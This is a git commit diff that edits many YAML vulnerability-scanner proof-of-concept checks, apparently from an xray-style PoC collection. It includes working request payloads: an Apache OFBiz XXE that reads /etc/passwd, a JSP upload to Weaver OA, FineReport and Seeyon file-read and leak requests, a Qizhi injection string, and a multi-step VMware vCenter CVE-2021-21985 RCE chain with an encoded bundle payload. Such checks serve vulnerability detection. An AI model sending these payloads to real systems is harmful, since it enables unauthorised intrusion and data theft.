优化ip解析模块

2026-09-24 12:11:52 +08:00 · 2021-12-01 15:22:48 +08:00
parent e49e6dd433
commit 4a34745091
21 changed files with 125 additions and 122 deletions
@@ -1,4 +1,4 @@
-name: poc-yaml-apacheofbiz-cve-2018-8033-xxe
+name: poc-yaml-apache-ofbiz-cve-2018-8033-xxe
 rules:
  - method: POST
    path: /webtools/control/xmlrpc
@@ -8,8 +8,8 @@ rules:
      <?xml version="1.0"?><!DOCTYPE x [<!ENTITY disclose SYSTEM "file://///etc/passwd">]><methodCall><methodName>&disclose;</methodName></methodCall>
    follow_redirects: false
    expression: >
-      response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) && response.content_type.contains("text/xml")
+      response.status == 200 && response.content_type.contains("text/xml") && "root:[x*]:0:0:".bmatches(response.body)
 detail:
  author: su(https://suzzz112113.github.io/#blog)
  links:
-    - https://github.com/jamieparfet/Apache-OFBiz-XXE/blob/master/exploit.py
+    - https://github.com/jamieparfet/Apache-OFBiz-XXE/blob/master/exploit.py
@@ -12,7 +12,7 @@ rules:
      ------WebKitFormBoundaryFy3iNVBftjP6IOwo
      Content-Disposition: form-data; name="file"; filename="{{r1}}.jsp"
      Content-Type: application/octet-stream
-      <%out.print({{r2}} * {{r3}});%>
+      <%out.print({{r2}} * {{r3}});new java.io.File(application.getRealPath(request.getServletPath())).delete();%>
      ------WebKitFormBoundaryFy3iNVBftjP6IOwo--
    expression: response.status == 200
  - method: GET
@@ -14,4 +14,4 @@ detail:
  author: fuping
  links:
    - https://news.ssssafe.com/archives/3325
-    - https://www.weaver.com.cn/cs/securityDownload.asp
+    - https://www.weaver.com.cn/cs/securityDownload.asp
@@ -1,4 +1,4 @@
-name: poc-yaml-finereport-v8-arbitrary-file-read
+name: poc-yaml-fineReport-v8.0-arbitrary-file-read
 rules:
  - method: GET
    path: /WebReport/ReportServer?op=chart&cmd=get_geo_json&resourcepath=privilege.xml
@@ -15,7 +15,8 @@ rules:
    follow_redirects: false
    expression: |
      response.status == 200 && response.body.bcontains(bytes(fileContent))
+
 detail:
  author: Cannae(github.com/thunderbarca)
  links:
-    - https://www.cnblogs.com/-mo-/p/11295400.html
+    - https://www.cnblogs.com/-mo-/p/11295400.html
@@ -6,6 +6,7 @@ rules:
    follow_redirects: false
    expression: |
      response.status == 200 && (response.body.bcontains(b"for 16-bit app support") || response.body.bcontains(b"[extensions]")) && response.headers["Content-Type"].contains("application/zip")
+
 detail:
  author: kzaopa(https://github.com/kzaopa)
  links:
@@ -1,12 +1,12 @@
 name: poc-yaml-qizhi-fortressaircraft-unauthorized
-
 rules:
  - method: GET
    path: >-
      /audit/gui_detail_view.php?token=1&id=%5C&uid=%2Cchr(97))%20or%201:%20print%20chr(121)%2bchr(101)%2bchr(115)%0d%0a%23&login=shterm
    expression: |
      response.status == 200 && response.body.bcontains(b"错误的id") && response.body.bcontains(b"审计管理员") && response.body.bcontains(b"事件审计")
+
 detail:
  author: we1x4n(https://we1x4n.com/)
  links:
-    - https://mp.weixin.qq.com/s/FjMRJfCqmXfwPzGYq5Vhkw
+    - https://mp.weixin.qq.com/s/FjMRJfCqmXfwPzGYq5Vhkw
@@ -8,4 +8,4 @@ rules:
 detail:
  author: jweny(https://github.com/jweny)
  links:
-    - https://mp.weixin.qq.com/s?__biz=Mzg3NDU2MTg0Ng==&mid=2247483972&idx=1&sn=b51678c6206a533330b0279454335065
+    - https://mp.weixin.qq.com/s?__biz=Mzg3NDU2MTg0Ng==&mid=2247483972&idx=1&sn=b51678c6206a533330b0279454335065
@@ -19,4 +19,4 @@ rules:
 detail:
  author: jweny(https://github.com/jweny)
  links:
-    - https://www.anquanke.com/post/id/232748
+    - https://www.anquanke.com/post/id/232748
@@ -1,5 +1,6 @@
 name: poc-yaml-seeyon-a6-employee-info-leak
-rules:
+groups:
+  poc1:
    - method: GET
      path: /yyoa/DownExcelBeanServlet?contenttype=username&contentvalue=&state=1&per_id=0
      expression:
@@ -8,4 +9,4 @@ detail:
  author: sakura404x
  version: 致远A6
  links:
-    - https://github.com/apachecn/sec-wiki/blob/c73367f88026f165b02a1116fe1f1cd2b8e8ac37/doc/unclassified/zhfly3351.md
+    - https://github.com/apachecn/sec-wiki/blob/c73367f88026f165b02a1116fe1f1cd2b8e8ac37/doc/unclassified/zhfly3351.md
@@ -10,4 +10,4 @@ detail:
  author: sakura404x
  version: 致远A6
  links:
-    - https://github.com/apachecn/sec-wiki/blob/c73367f88026f165b02a1116fe1f1cd2b8e8ac37/doc/unclassified/zhfly3346.md
+    - https://github.com/apachecn/sec-wiki/blob/c73367f88026f165b02a1116fe1f1cd2b8e8ac37/doc/unclassified/zhfly3346.md
@@ -13,4 +13,4 @@ rules:
 detail:
  author: Print1n(http://print1n.top)
  links:
-    - https://mp.weixin.qq.com/s/0AqdfTrZUVrwTMbKEKresg
+    - https://mp.weixin.qq.com/s/0AqdfTrZUVrwTMbKEKresg
@@ -7,4 +7,4 @@ rules:
 detail:
  author: sakura404x
  links:
-    - https://github.com/apachecn/sec-wiki/blob/c73367f88026f165b02a1116fe1f1cd2b8e8ac37/doc/unclassified/zhfly3345.md
+    - https://github.com/apachecn/sec-wiki/blob/c73367f88026f165b02a1116fe1f1cd2b8e8ac37/doc/unclassified/zhfly3345.md
@@ -4,14 +4,30 @@ rules:
    path: /ui/h5-vsan/rest/proxy/service/com.vmware.vsan.client.services.capability.VsanCapabilityProvider/getClusterCapabilityData
    headers:
      Content-Type: application/json
-    body: |-
+    body: |
      {"methodInput":[{"type":"ClusterComputeResource","value": null,"serverGuid": null}]}\x0d\x0a
    expression: |
-      response.status == 200 && response.body.bcontains(b"result")
+      response.status == 200 && response.body.bcontains(b"{\"result\":{\"") && response.headers["set-Cookie"].contains("VSPHERE-UI-JSESSIONID")
+  - method: POST
+    path: /ui/h5-vsan/rest/proxy/service/vmodlContext/loadVmodlPackages
+    headers:
+      Content-Type: application/json
+    body: |
+      {"methodInput": [["https://localhost:443/vsanHealth/vum/driverOfflineBundle/data:text/html%3Bbase64,UEsDBBQAAAAIADihc1Okxc3arAEAAI8EAAASAAAAb2ZmbGluZV9idW5kbGUueG1spVNNT+MwFLxX4j+YIFWNRG0+biWJBOxlJVZC2z0gIQ6O+5qYdeysn9MUIf77unGBfoFUyCXOezMvM2M7yYFrJPNKaUyj0rl6xFjbthRrK3UxtbyC1ti/1NiCoSih4qyjRAc9Ep6OO5qjXOO35x3l7OTklN39uhl31KHU6LgWsMJGOQpzb4zgThqdvjb3ULMPlgXAsPugc5xEWfhhsqgQOUmjOo+IUBx9JI98xqniuqC31ghAvGqkmoB9JXVEYbwv2whn7JDbYqXlm0qiW6v42oyrBjKWS81yjmXCQmEnaig+bSeH99c/Lv9c3pO2NLyS5Czrn5KHh2wXK2EbahK2W3vSZbUVjMT1YKShP3XduLGzwKvfwPdJ5s3C0XOdU38wrBvEtAC3MnIQv2z72FN0brdEXzXTKViYfF2xxO8LE0YpWEA3Um2cVD6PhX96/Y7JPhiDT+ig2nFix6GxKrC2pgbrnoj21yON2pI7mPkESGcljY6eSRhHEdztEjzo/2uMuzCN8/sS1sckt1RJDei3bOlj8O6HPhqp/SVbMg964R3HMXmJ2GYqYYF+9R9QSwECFAAUAAAACAA4oXNTpMXN2qwBAACPBAAAEgAAAAAAAAAAAAAAtoEAAAAAb2ZmbGluZV9idW5kbGUueG1sUEsFBgAAAAABAAEAQAAAANwBAAAAAA==%23"]]}
+    expression: |
+      response.status == 200
+  - method: POST
+    path: /ui/h5-vsan/rest/proxy/service/systemProperties/getProperty
+    headers:
+      Content-Type: application/json
+    body: |
+      {"methodInput": ["output", null]}
+    expression: |
+      response.status == 200 && response.body.bcontains(b"{\"result\":") && !response.body.bcontains(b"null")
 detail:
  vulnpath: "/ui/h5-vsan/rest/proxy/service/com.vmware.vsan.client.services.capability.VsanCapabilityProvider/getClusterCapabilityData"
  author: envone77
  description: "vmware vCenter unauth RCE cve-2021-21985"
  links:
    - https://www.anquanke.com/post/id/243098
-    - https://github.com/alt3kx/CVE-2021-21985_PoC
+    - https://github.com/alt3kx/CVE-2021-21985_PoC
@@ -23,4 +23,4 @@ detail:
  author: pa55w0rd(www.pa55w0rd.online/)
  Affected Version: "YONYOU NC > 6.5"
  links:
-    - https://blog.csdn.net/weixin_44578334/article/details/110917053
+    - https://blog.csdn.net/weixin_44578334/article/details/110917053
@@ -7,7 +7,8 @@ rules:
    follow_redirects: false
    expression: |
      response.status == 200 && response.body.bcontains(bytes(md5(string(rand))))
+
 detail:
  author: kzaopa(https://github.com/kzaopa)
  links:
-    - http://wiki.peiqi.tech/PeiQi_Wiki/OA%E4%BA%A7%E5%93%81%E6%BC%8F%E6%B4%9E/%E7%94%A8%E5%8F%8BOA/%E7%94%A8%E5%8F%8B%20U8%20OA%20test.jsp%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.html
+    - http://wiki.peiqi.tech/PeiQi_Wiki/OA%E4%BA%A7%E5%93%81%E6%BC%8F%E6%B4%9E/%E7%94%A8%E5%8F%8BOA/%E7%94%A8%E5%8F%8B%20U8%20OA%20test.jsp%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.html